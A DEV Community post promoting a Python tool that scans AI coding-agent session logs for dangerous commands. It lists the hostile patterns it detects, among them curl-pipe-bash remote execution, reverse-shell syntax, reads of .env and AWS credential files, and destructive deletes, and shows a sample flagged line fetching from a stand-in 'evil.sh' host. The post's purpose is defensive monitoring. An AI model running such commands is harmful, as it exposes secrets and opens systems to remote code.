DEV Community

AgentChip
AgentChip

Posted on

Your AI Agent Has Bash Access. Who's Watching the Logs?

#ai #python #productivity #devops

If you run Claude Code, Cursor, Copilot, or any agent with terminal access, you've granted a machine the power to run arbitrary commands on your machine. That's the deal — it's why agents are so productive. But there's a dark corner nobody talks about: the logs.

Your agent's session logs are a goldmine: rm -rf on a production path, curl ... | bash fetching and executing remote code, cat .env exfiltrating secrets into a transcript, a chmod 777 on something that should never be world-writable. Most of the time nothing goes wrong. But when it does, you find out after the damage, because nobody was reading thousands of lines of JSONL logs.

The problem with "I'll check the logs later"

You won't. Nobody does. Session logs are verbose, boring, and unstructured. A dangerous command hides in 40,000 lines of perfectly normal operations. And the stakes aren't theoretical:

  • An agent with write access to a repo runs git push --force and destroys a day of work
  • A curl | bash one-liner pulls a package from a typosquatted domain
  • A cat ~/.aws/credentials dumps keys into a shared transcript

What I built: a log auditor that runs on a cron

A pure-Python CLI that parses your agent operation logs (native Claude Code JSONL support + a generic format) and flags dangerous patterns:

  • 35+ dangerous-rule library — rm -rf on root paths, curl|bash/wget|sh remote execution, reverse shells (nc, bash -i >& /dev/tcp/...), secret exfiltration (cat .env, aws configure, private-key reads), chmod 777, firewall teardowns, crontab persistence, git push --force, and more
  • Risk scoring — every command gets a score; sessions get a summary so you triage in seconds, not hours
  • Three output formats — text, JSON, Markdown
  • Exit code 1 on HIGH/CRITICAL — drop it in a cron or CI step and get alerted the moment something dangerous happens
  • --rules to add your own — your environment's hazards are unique 
python auditor.py --log ~/.claude/projects/abc123/12345.jsonl --format markdown
# CRITICAL: curl -s http://evil.sh | bash  (line 812, risk 95)
Enter fullscreen mode Exit fullscreen mode

It's the same pattern as a code-review bot, but for what your agent actually did — a second pair of eyes that never sleeps.

Who needs this

Anyone who gives agents terminal or file-write access: solo developers running Claude Code, teams with agent pipelines in CI, ops folks who've woken up to a 3 AM alert from an automation that went off the rails. If you can't honestly say you've read your last 50 agent session logs, you need an auditor.

The full kit (auditor + 35+ rules + sample logs + review prompt templates) is at AgentChip.

Trust your agents, but verify their commands.

Originally published on the AgentChip blog.

Top comments (0)